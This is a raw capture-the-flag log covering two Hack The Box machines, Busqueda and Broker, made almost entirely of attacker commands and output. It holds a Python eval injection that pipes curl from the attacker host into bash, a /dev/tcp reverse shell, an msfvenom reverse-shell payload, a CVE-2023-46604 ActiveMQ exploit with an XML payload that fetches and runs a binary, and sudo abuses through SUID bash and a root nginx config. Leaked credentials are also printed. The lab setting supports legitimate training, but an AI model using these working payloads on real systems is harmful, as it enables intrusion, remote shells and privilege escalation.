http://searcher.htb [200 OK] Bootstrap[4.1.3], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.10.6], IP[10.10.11.208], JQuery[3.2.1], Python[3.10.6], Script, Title[Searcher], Werkzeug[2.1.2]❯ curl -I http://searcher.htb
HTTP/1.1 200 OK
Date: Thu, 13 Feb 2025 04:46:42 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 13519❯ feroxbuster -u http://searcher.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://searcher.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
405 GET 5l 20w 153c http://searcher.htb/search
200 GET 430l 751w 13519c http://searcher.htb/
403 GET 9l 28w 277c http://searcher.htb/server-status
[######>-------------] - 23s 9761/30002 49s found:3 errors:7
[######>-------------] - 23s 9771/30002 49s found:3 errors:7
[######>-------------] - 23s 9772/30002 49s found:3 errors:7
[######>-------------] - 23s 9792/30002 49s found:3 errors:7
[######>-------------] - 23s 9817/30002 49s found:3 errors:7
[######>-------------] - 23s 9824/30002 49s found:3 errors:7
[####################] - 81s 30002/30002 0s found:3 errors:36
[####################] - 81s 30001/30001 371/s http://searcher.htb/ ❯ nc -nlvp 443
listening on [any] 443 ...❯ ./exploit.sh searcher.htb 10.10.16.7 443
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.16.7:443
[*] Run the Reverse Shell... Press Ctrl+C after successful connection❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.208] 37882
bash: cannot set terminal process group (1646): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ ' + __import__('os').popen('id').read() + '❯ cat shell.sh
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.7/443 0>&1'
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nc -nlvp 443
listening on [any] 443 ...' + __import__('os').popen('curl http://10.10.16.7/shell.sh|bash').read() + '❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.208] 46348
bash: cannot set terminal process group (1646): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ cat /home/svc/user.txt
26d7ad943e8f5*******************svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
sudo: a password is required
svc@busqueda:/var/www/app/.git$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 .
drwxr-xr-x 4 root root 4096 Apr 4 2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Feb 13 04:37 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$ cd .git/
svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Feb 13 04:37 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/mainsvc@busqueda:~$ ls -la
total 36
drwxr-x--- 4 svc svc 4096 Apr 3 2023 .
drwxr-xr-x 3 root root 4096 Dec 22 2022 ..
lrwxrwxrwx 1 root root 9 Feb 20 2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
drwx------ 2 svc svc 4096 Feb 28 2023 .cache
-rw-rw-r-- 1 svc svc 76 Apr 3 2023 .gitconfig
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
lrwxrwxrwx 1 root root 9 Apr 3 2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc 33 Feb 13 04:37 user.txt
svc@busqueda:~$ cat .gitconfig
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hookssvc@busqueda:/var/www/app/.git$ netstat -ano | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:222 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:36977 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)svc@busqueda:/var/www/app/.git$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en-US" class="theme-auto">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzIjoiNTEyeDUxMiJ9LHsic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19">
<meta name="theme-color" content="#6cc644">
<meta name="default-theme" content="auto">
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta name="keywords" content="go,git,self-hosted,gitea">
<meta name="referrer" content="no-referrer">❯ ls -l chisel
.rwxrwxr-x kali kali 8.9 MB Thu Feb 13 06:27:17 2025 chisel
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...svc@busqueda:/tmp$ wget 10.10.16.7/chisel
--2025-02-13 05:28:28-- http://10.10.16.7/chisel
Connecting to 10.10.16.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[===================>] 8.94M 14.4MB/s in 0.6s
2025-02-13 05:28:29 (14.4 MB/s) - ‘chisel’ saved [9371800/9371800]
svc@busqueda:/tmp$ chmod +x chisel ❯ ./chisel server --reverse -p 1234
2025/02/13 06:28:08 server: Reverse tunnelling enabled
2025/02/13 06:28:08 server: Fingerprint xFMTGHlQJdJsHHdW3CIYK8LVKjgF03JbfqsK8OAo85A=
2025/02/13 06:28:08 server: Listening on http://0.0.0.0:1234svc@busqueda:/tmp$ ./chisel client 10.10.16.7:1234 R:80:127.0.0.1:3000
2025/02/13 05:36:41 client: Connecting to ws://10.10.16.7:1234
2025/02/13 05:36:42 client: Connected (Latency 33.301115ms)❯ cat /etc/hosts | grep searcher
127.0.0.1 localhost kali gitea.searcher.htbsvc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *svc@busqueda:~$ ls -l /opt/scripts/
total 16
-rwx--x--x 1 root root 586 Dec 24 2022 check-ports.py
-rwx--x--x 1 root root 857 Dec 24 2022 full-checkup.sh
-rwx--x--x 1 root root 3346 Dec 24 2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py
svc@busqueda:~$ cat /opt/scripts/*
cat: /opt/scripts/check-ports.py: Permission denied
cat: /opt/scripts/full-checkup.sh: Permission denied
cat: /opt/scripts/install-flask.sh: Permission denied
cat: /opt/scripts/system-checkup.py: Permission deniedsvc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py
Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py h
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkupsvc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 2 years ago Up About an hour 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 2 years ago Up About an hour 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_dbsvc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect gitea
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
{
"Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
"Created": "2023-01-06T17:26:54.457090149Z",
"Path": "/usr/bin/entrypoint",
"Args": [
"/bin/s6-svscan",
"/etc/s6"
],
"State": {
"Status": "running",
"Running": true,
"Paused": false,
"Restarting": false,
"OOMKilled": false,
"Dead": false,
"Pid": 1813,
"ExitCode": 0,
"Error": "",
"StartedAt": "2025-02-13T04:37:25.273234426Z",
"FinishedAt": "2023-04-04T17:03:01.71746837Z"
},
...[snip]---
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' mysql | jq .
{
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"
],
"Cmd":
"NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
"EndpointID": "65b29932ec694c85766bacba4fdbe26c12de8d00af399737b1c5389a7bdc7a76",
"Gateway": "172.19.0.1",
"IPAddress": "172.19.0.3",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:13:00:03",
"DriverOpts": null
}
}
}
}svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrongsvc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .NetworkSettings.Networks}}' mysql_db | jq .
{
"docker_gitea": {
"IPAMConfig": null,
"Links": null,
"Aliases": [
"f84a6b33fb5a",
"db"
],
"NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
"EndpointID": "65b29932ec694c85766bacba4fdbe26c12de8d00af399737b1c5389a7bdc7a76",
"Gateway": "172.19.0.1",
"IPAddress": "172.19.0.3",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:13:00:03",
"DriverOpts": null
}svc@busqueda:~$ ifconfig docker0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:2c:0d:9b:c6 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
svc@busqueda:~$ ping -c 1 172.19.0.3
PING 172.19.0.2 (172.19.0.3) 56(84) bytes of data.
64 bytes from 172.19.0.3: icmp_seq=1 ttl=64 time=0.051 ms
--- 172.19.0.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 mssvc@busqueda:~$ mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh gitea
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 225
Server version: 8.0.31 MySQL Community Server - GPL
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> SHOW TABLES;
+---------------------------+
| Tables_in_gitea |
+---------------------------+
| access |
| access_token |
| action |
| app_state |
| attachment |
| badge |
| collaboration |
| comment |
| commit_status |
| commit_status_index |
| deleted_branch |
| deploy_key |
| email_address |
| email_hash |
| external_login_user |
| follow |
| foreign_reference |
| gpg_key |
| gpg_key_import |
| hook_task |
| issue |
| issue_assignees |
| issue_content_history |
| issue_dependency |
| issue_index |
| issue_label |
| issue_user |
| issue_watch |
| label |
| language_stat |
| lfs_lock |
| lfs_meta_object |
| login_source |
| milestone |
| mirror |
| notice |
| notification |
| oauth2_application |
| oauth2_authorization_code |
| oauth2_grant |
| org_user |
| package |
| package_blob |
| package_blob_upload |
| package_file |
| package_property |
| package_version |
| project |
| project_board |
| project_issue |
| protected_branch |
| protected_tag |
| public_key |
| pull_auto_merge |
| pull_request |
| push_mirror |
| reaction |
| release |
| renamed_branch |
| repo_archiver |
| repo_indexer_status |
| repo_redirect |
| repo_topic |
| repo_transfer |
| repo_unit |
| repository |
| review |
| review_state |
| session |
| star |
| stopwatch |
| system_setting |
| task |
| team |
| team_invite |
| team_repo |
| team_unit |
| team_user |
| topic |
| tracked_time |
| two_factor |
| upload |
| user |
| user_badge |
| user_open_id |
| user_redirect |
| user_setting |
| version |
| watch |
| webauthn_credential |
| webhook |
+---------------------------+
91 rows in set (0.01 sec)mysql> SELECT * FROM user;
+----+---------------+---------------+-----------+----------------------------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+--------+----------------------------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+
| id | lower_name | name | full_name | email | keep_email_private | email_notifications_preference | passwd | passwd_hash_algo | must_change_password | login_type | login_source | login_name | type | location | website | rands | salt | language | description | created_unix | updated_unix | last_login_unix | last_repo_visibility | max_repo_creation | is_active | is_admin | is_restricted | allow_git_hook | allow_import_local | allow_create_organization | prohibit_login | avatar | avatar_email | use_custom_avatar | num_followers | num_following | num_stars | num_repos | num_teams | num_members | visibility | repo_admin_change_team_access | diff_view_style | theme | keep_activity_private |
+----+---------------+---------------+-----------+----------------------------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+--------+----------------------------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+
| 1 | administrator | administrator | | administrator@gitea.searcher.htb | 0 | enabled | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 | pbkdf2 | 0 | 0 | 0 | | 0 | | | 44748ed806accc9d96bf9f495979b742 | a378d3f64143b284f104c926b8b49dfb | en-US | | 1672857920 | 1680531979 | 1673083022 | 1 | -1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | | administrator@gitea.searcher.htb | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | | auto | 0 |
| 2 | cody | cody | | cody@gitea.searcher.htb | 0 | enabled | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e | pbkdf2 | 0 | 0 | 0 | | 0 | | | 304b5a2ce88b6d989ea5fae74cc6b3f3 | d1db0a75a18e50de754be2aafcad5533 | en-US | | 1672858006 | 1680532283 | 1680532243 | 1 | -1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | | cody@gitea.searcher.htb | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | | auto | 0 |
+----+---------------+---------------+-----------+----------------------------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+--------+----------------------------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+
2 rows in set (0.00 sec)svc@busqueda:/tmp$ ls -l full-checkup.sh
-rwxr-xr-x 1 svc svc 33 Feb 13 06:07 full-checkup.sh
svc@busqueda:/tmp$ cat full-checkup.sh
#!/bin/bash
chmod u+s /bin/bash
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
svc@busqueda:/tmp$ bash -p
bash-5.1$ whoami
root
bash-5.1$ cat /root/root.txt
219cc898cfb2*********************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.243 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 04:54 CET
Nmap scan report for 10.10.11.243
Host is up (0.075s latency).
Not shown: 65525 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1883/tcp open mqtt
5672/tcp open amqp
8161/tcp open patrol-snmp
36015/tcp open unknown
61613/tcp open unknown
61614/tcp open unknown
61616/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.243
[*] Open ports: 22,80,1883,5672,8161,36015,61613,61614,61616
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,1339,1883,5672,8161,36015,61613,61614,61616 10.10.11.243 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 04:55 CET
Nmap scan report for 10.10.11.243
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
36015/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 77.79 ms 10.10.16.1
2 39.97 ms 10.10.11.243
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.02 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ; cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
Clonando en 'CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 20 (delta 7), reused 9 (delta 3), pack-reused 0 (from 0)
Recibiendo objetos: 100% (20/20), 1.64 MiB | 6.22 MiB/s, listo.
Resolviendo deltas: 100% (7/7), listo.❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=443 -f elf -o test.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: test.elf❯ cat poc-linux.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<!-- The command below downloads the file and saves it as test.elf -->
<value>curl -s -o test.elf http://10.10.16.5:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
</list>
</constructor-arg>
</bean>
</beans>❯ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...❯ nc -nlvp 443
listening on [any] 443 ...❯ go run main.go -i 10.10.11.243 -p 61616 -u http://10.10.16.5:8001/poc-linux.xml
_ _ _ __ __ ___ ____ ____ _____
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.16.5:8001/poc-linux.xml
[*] Sending packet: 000000771f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010024687474703a2f2f31302e31302e31362e353a383030312f706f632d6c696e75782e786d6c❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.243] 38016
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cat /home/activemq/user.txt
5a9d2a4f03872a******************activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1338;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.confactivemq@broker:/tmp$ chmod +x exploit.sh
activemq@broker:/tmp$ ./exploit.sh
[+] Creating configuration...
[+] Loading configuration...❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+❯ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali
